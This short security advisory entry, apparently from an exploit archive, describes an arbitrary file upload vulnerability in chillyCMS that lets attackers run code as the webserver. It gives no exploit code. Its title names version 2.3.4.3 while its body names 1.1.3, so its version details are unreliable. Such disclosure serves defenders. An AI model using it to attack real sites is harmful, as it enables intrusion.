ChillyCMS 2.3.4.3 - Arbitrary File Upload

source: https://www.securityfocus.com/bid/43263/info

chillyCMS is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

chillyCMS version 1.1.3 is vulnerable; other versions may also be affected.
